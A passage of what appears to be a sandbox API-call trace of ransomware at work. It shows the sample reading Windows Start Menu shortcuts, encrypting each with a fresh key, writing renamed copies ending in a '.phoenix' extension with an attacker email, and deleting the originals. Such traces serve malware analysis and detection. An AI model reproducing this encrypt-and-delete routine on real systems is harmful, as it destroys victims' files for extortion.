	[0265.740] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x470, lpOverlapped=0x0) returned 1
	[0265.741] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0265.741] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0265.741] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0265.741] CryptDestroyKey (hKey=0x151180) returned 1
	[0265.741] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0265.741] CryptDestroyKey (hKey=0x151500) returned 1
	[0265.741] CloseHandle (hObject=0x244) returned 1
	[0265.741] CloseHandle (hObject=0x2c4) returned 1
	[0265.798] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk")) returned 1
	[0265.845] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0265.845] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.864] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1164) returned 1
	[0265.864] CloseHandle (hObject=0x2d4) returned 1
	[0265.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk")) returned 0x20
	[0265.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.864] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0265.865] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0265.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.886] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0265.886] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0265.886] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x48c, lpOverlapped=0x0) returned 1
	[0265.893] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x490, dwBufLen=0x490 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x490) returned 1
	[0265.893] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x490, lpOverlapped=0x0) returned 1
	[0265.894] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0265.894] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0265.894] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0265.894] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0265.894] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0265.894] CryptDestroyKey (hKey=0x151040) returned 1
	[0265.894] CloseHandle (hObject=0x2d4) returned 1
	[0265.894] CloseHandle (hObject=0x2e8) returned 1
	[0265.917] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk")) returned 1
	[0265.963] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0265.963] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.964] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1168) returned 1
	[0265.964] CloseHandle (hObject=0x2d4) returned 1
	[0265.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk")) returned 0x20
	[0265.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.964] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0265.964] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0265.965] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0266.026] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0266.027] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.027] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x490, lpOverlapped=0x0) returned 1
	[0266.066] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x4a0, dwBufLen=0x4a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x4a0) returned 1
	[0266.066] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x4a0, lpOverlapped=0x0) returned 1
	[0266.067] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0266.067] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.067] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0266.067] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.067] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0266.067] CryptDestroyKey (hKey=0x151380) returned 1
	[0266.067] CloseHandle (hObject=0x2d4) returned 1
	[0266.067] CloseHandle (hObject=0x2e4) returned 1
	[0266.093] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk")) returned 1
	[0266.240] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0266.240] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.401] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1140) returned 1
	[0266.401] CloseHandle (hObject=0x304) returned 1
	[0266.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk")) returned 0x20
	[0266.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.401] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.401] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.402] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.402] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.580] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0266.580] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.580] ReadFile (in: hFile=0x304, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x474, lpOverlapped=0x0) returned 1
	[0266.593] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x480, dwBufLen=0x480 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x480) returned 1
	[0266.593] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x480, lpOverlapped=0x0) returned 1
	[0266.594] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0266.594] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.594] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60, dwBufLen=0x60 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60) returned 1
	[0266.594] CryptDestroyKey (hKey=0x151040) returned 1
	[0266.594] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x112, lpOverlapped=0x0) returned 1
	[0266.595] CryptDestroyKey (hKey=0x151100) returned 1
	[0266.595] CloseHandle (hObject=0x304) returned 1
	[0266.595] CloseHandle (hObject=0x2c0) returned 1
	[0266.596] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk")) returned 1
	[0266.596] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0266.596] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.597] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1140) returned 1
	[0266.597] CloseHandle (hObject=0x244) returned 1
	[0266.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk")) returned 0x20
	[0266.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.597] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.597] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.598] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.598] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0266.598] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.598] ReadFile (in: hFile=0x244, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x474, lpOverlapped=0x0) returned 1
	[0266.609] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x480, dwBufLen=0x480 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x480) returned 1
	[0266.609] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x480, lpOverlapped=0x0) returned 1
	[0266.610] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0266.610] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.610] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60, dwBufLen=0x60 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60) returned 1
	[0266.610] CryptDestroyKey (hKey=0x151780) returned 1
	[0266.610] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x112, lpOverlapped=0x0) returned 1
	[0266.610] CryptDestroyKey (hKey=0x151380) returned 1
	[0266.610] CloseHandle (hObject=0x244) returned 1
	[0266.610] CloseHandle (hObject=0x2c0) returned 1
	[0266.610] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk")) returned 1
	[0266.610] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0266.610] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.611] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1104) returned 1
	[0266.611] CloseHandle (hObject=0x2c0) returned 1
	[0266.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk")) returned 0x20
	[0266.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.611] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.611] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.611] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.611] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.702] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151340) returned 1
	[0266.702] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.702] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x450, lpOverlapped=0x0) returned 1
	[0266.704] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x460, dwBufLen=0x460 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x460) returned 1
	[0266.704] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x460, lpOverlapped=0x0) returned 1
	[0266.705] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0266.705] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.705] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0266.705] CryptDestroyKey (hKey=0x151200) returned 1
	[0266.705] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0266.706] CryptDestroyKey (hKey=0x151340) returned 1
	[0266.706] CloseHandle (hObject=0x2c0) returned 1
	[0266.706] CloseHandle (hObject=0x240) returned 1
	[0266.750] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk")) returned 1
